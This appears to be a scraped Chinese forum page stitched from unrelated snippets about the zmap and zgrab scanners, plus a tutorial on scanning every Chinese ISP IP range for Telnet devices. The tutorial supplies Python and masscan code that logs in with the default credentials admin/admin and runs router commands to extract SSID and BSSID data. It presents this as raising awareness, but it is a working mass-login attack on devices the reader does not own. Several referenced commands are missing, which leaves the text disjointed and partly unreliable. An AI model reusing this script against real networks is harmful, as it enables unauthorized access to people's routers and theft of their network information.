如何使用zmap去扫描全世界开设443端口的主机
3389一般可以用远程桌面连接,但你需要知道对方的用户名和密码。开放此服务的,大多都有密码的。。。 4899是RADMIN默认端口,你可以用RADMIN客户端尝试连接,看看你有没有那个福分了。RADMIN更是需要密码的。。。
基于zmap 的应用层扫描器 zgrab (一)
[toc]
zgrab 是基于zmap无状态扫描的应用层扫描器,可以自定义数据包,以及ip,domain之间的关联。可用于快速指纹识别爆破等场景。
zgrab -help
输入流可以使用zmap 的扫描结果,例如项目主页的例子
其中 http-req 为自定义的数据包
ip,domain 的文件,例如
cat 2.csv | ./zgrab –port 80 --data http-req-domain
默认输出为json ,可以使用jq 工具解析
扫描 127.0.0.1,localhost
效果如图
命令行
可以自定义http 数据包,例如
例如需要在一大批域名列表里面快速识别wordpress,并且输出域名。
首先从header 里面找出wp 的指纹以
使用 字符串 X-Pingback 来做识别指纹
识别命令为
其中 domain.log 为 1w ip 到域名 ip,domain 映射
分分钟即可识别完,示范如图
1:
kali zmap是自带的吗
kali上面本来就是集成了各种安全工具的Linux发行版,zmap的确是kali上面已经包含的一个端口扫描工具。
如何扫描统计全国Telnet默认口令
在日常工作中,我们经常会遇到针对全国甚至针对全网对某一漏洞/安全事件做数据统计分析。这时我们该怎么做呢?在本文中,我将用Telnet弱口令给大家做示范希,望能唤起相关人员的安全意识,以提高网络空间的安全防御能力!
talk is cheap show me the code!
You say a JB without pictures?
0×01 准备数据
运营商IP段在国内某网下载了国内运营商IP段数据(IPv4)数据处理下载回来每个运营商为一个txt文件,数据格式如下
183.0.0.0 183.63.255.255 4194304
36.96.0.0 36.127.255.255 2097152
49.64.0.0 49.95.255.255 2097152
113.64.0.0 113.95.255.255 2097152
115.192.0.0 115.223.255.255 2097152
180.96.0.0 180.127.255.255 2097152
183.128.0.0 183.159.255.255 2097152
220.160.0.0 220.191.255.255 2097152
14.16.0.0 14.31.255.255 1048576
14.112.0.0 14.127.255.255 1048576
将所有IP段合并为一个文件
awk '{print $1,$2}' *.txt | sort | uniq ip.txt
将IP范围转为IP/掩码格式,主要是为了方便扫描软件载入
import netaddr
with open("ip.txt", "r") as f:
for line in f:
ip = line.strip().split()
prx = netaddr.IPRange(ip[0],ip[1]).cidrs()[0].prefixlen
print(ip[0]+'/'+str(prx))
转换后格式
101.0.0.0/22
1.0.1.0/24
101.1.0.0/22
101.101.100.0/24
101.101.102.0/23
101.101.104.0/21
101.101.112.0/20
101.101.64.0/19
101.102.100.0/23
101.102.102.0/24
0×02 扫描
以下python版本为3.4
python 512线程直扫上行带宽约几百KB/s;直接上masscan、zmap这等扫描软件上行流量会暴走;具体要多少时间,可以拿少量数据测试算算!2.1 使用python使用python直接将IP按组遍历进队列,使用多线程循环扫描(也就是直接尝试登录),速度比较慢,但准确率相对较高
nloops = 256
ipQue = queue.Queue()
with open("ip.txt", "r") as f:
for line in f:
for ip in IPNetwork(line.strip().split()).iter_hosts():
ipQue.put(ip);
# 调用多线
for i in range(nloops):
t = threading.Thread(target=getwifi) # getwifi 为任务方法
t.start()
threads.append(t)
# 等待一轮扫描结束
for i in range(nloops):
threads[i].join()
# 删掉已扫描的IP段,防止服务重启或中途断开重启动重复扫描
os.system("sed -i '/"+line.strip()+"/d' ip.txt")
2.2 使用masscan先扫描得到23端口IP,然后一次性扔python进行多线程尝试登录,速度快,准确率较低,大致使用如下,具体参数自己定
masscan -p23 `sed ':a;N;$!ba;s/\n/ /g' ip.txt` --banners -oB port.txt
2.3 Telnet尝试登录部分,直接try…except,超时、登录、读取任意一处超时或异常直接扔掉这个IP,具体超时时间自己看网络情况定
try:
t = telnetlib.Telnet(host, timeout=TIMEOUT)
t.read_until(b"username:", TIMEOUT)
t.write(b"admin\n")
t.read_until(b"password:", TIMEOUT)
t.write(b"admin\n")
t.write(b"wlctl show\n")
t.write(b"lan show info\n") # 获取BSSID
t.read_until(b"SSID", TIMEOUT)
strx = t.read_very_eager().decode('ascii')
t.close()
# 如果能获取信息,这里写处理代码(比如去重复插入数据库),strx为输出内容
except:
pass
描述下zmap的大致原理,为什么zmap可以40min扫完全网段而nmap不行
不完成三次握手,和NMAP的SYN扫描相似,速度比三次握手扫描更快,而且zmap是无状态扫描,不维持记录着与对方交互的状态,避免在一直等待对方回应时占用太多网络带宽,将全部带宽用于扫描。
0条大神的评论